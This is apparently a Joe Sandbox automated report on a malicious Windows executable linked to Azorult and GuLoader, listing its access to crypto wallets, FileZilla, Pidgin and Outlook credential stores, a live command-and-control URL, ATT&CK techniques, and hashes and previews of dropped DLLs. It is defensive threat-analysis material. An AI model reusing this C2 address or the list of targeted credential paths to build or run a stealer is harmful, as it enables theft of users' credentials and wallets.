Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Dekont#400577_89008_96634.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Jump to behavior

Source: Yara match	File source: 12.3.Dekont#400577_89008_96634.exe.383d8abf.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.Dekont#400577_89008_96634.exe.383d4355.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.Dekont#400577_89008_96634.exe.383dd227.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.3291593606.00000000387F8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3291614147.00000000387FC000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dekont#400577_89008_96634.exe PID: 5308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Access Token Manipulation	2 Credentials in Registry	3 File and Directory Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	1 Credentials In Files	215 System Information Discovery	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Dekont#400577_89008_96634.exe	18%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsxE8D2.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://89.40.31.232/crosoft	0%	Avira URL Cloud	safe
http://89.40.31.232/icate	0%	Avira URL Cloud	safe
http://89.40.31.232/	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.phpEr	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.php$	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.php2	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.phpon_	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.phpeCd	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.phpy	0%	Avira URL Cloud	safe
http://89.40.31.232/12/index.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	216.58.206.78	true	false	high
drive.usercontent.google.com	142.250.185.97	true	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://89.40.31.232/12/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://89.40.31.232/12/index.phpon_	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://89.40.31.232/12/index.phpy	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.mozilla.com0	Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://89.40.31.232/crosoft	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://89.40.31.232/icate	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	false		high
http://89.40.31.232/12/index.phpEr	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Dekont#400577_89008_96634.exe, 00000000.00000000.2146020007.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Dekont#400577_89008_96634.exe, 00000000.00000002.2844416236.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Dekont#400577_89008_96634.exe, 0000000C.00000000.2841136193.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false		high
https://www.ecosia.org/newtab/	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://89.40.31.232/	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007783000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://89.40.31.232/12/index.php2	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	Dekont#400577_89008_96634.exe, 0000000C.00000003.3290844106.00000000383D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.google.com/	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305168675.0000000007708000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://89.40.31.232/12/index.php$	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	Dekont#400577_89008_96634.exe, 0000000C.00000003.3172545537.0000000007782000.00000004.00000020.00020000.00000000.sdmp	false		high
http://89.40.31.232/12/index.phpeCd	Dekont#400577_89008_96634.exe, 0000000C.00000002.3305470356.00000000077BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Dekont#400577_89008_96634.exe, 0000000C.00000003.3276436492.0000000038FB8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.40.31.232	unknown	Romania	35512	TELEMEDIA-ASRO	true
216.58.206.78	drive.google.com	United States	15169	GOOGLEUS	false
142.250.185.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1548583
Start date and time:	2024-11-04 16:49:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Dekont#400577_89008_96634.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@3/60@3/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 90% Number of executed functions: 48 Number of non-executed functions: 31
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Dekont#400577_89008_96634.exe, PID 5308 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Dekont#400577_89008_96634.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
89.40.31.232	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse	89.40.31.232/12/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEMEDIA-ASRO	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse	89.40.31.232

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	att1-241104022450_PDF.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 142.250.185.97
	Solicita#U021bi comanda p78460.vbs	Get hash	malicious	Remcos, GuLoader	Browse	216.58.206.78 142.250.185.97
	Aj#U00e1nlatk#U00e9r#U00e9s 11-04-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	216.58.206.78 142.250.185.97
	Tariffizes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	216.58.206.78 142.250.185.97
	SPP_14667098030794_8611971920#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	216.58.206.78 142.250.185.97
	Pedido de Cota#U00e7#U00e3o-24110004.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 142.250.185.97
	Pedido de Cota#U00e7#U00e3o-24110004_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 142.250.185.97
	ORDEN DE COMPRA ALUMINIOS MANDIA SL 664780.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 142.250.185.97
	AD202401170.pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	216.58.206.78 142.250.185.97
	Pedido de Cota#U00e7#U00e3o-24110004.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	216.58.206.78 142.250.185.97

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: No. 1349240400713.exe, Detection: malicious, Browse Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: Order160311_Reference.hta, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Order-63729_Reference.bat, Detection: malicious, Browse Filename: Refrence-Order#63729.pdf, Detection: malicious, Browse Filename: Payment Advice Note_Pdf.exe, Detection: malicious, Browse Filename: HSBC_Payment.exe, Detection: malicious, Browse Filename: Est_US091024A - PICTURE.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\Dekont#400577_89008_96634.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

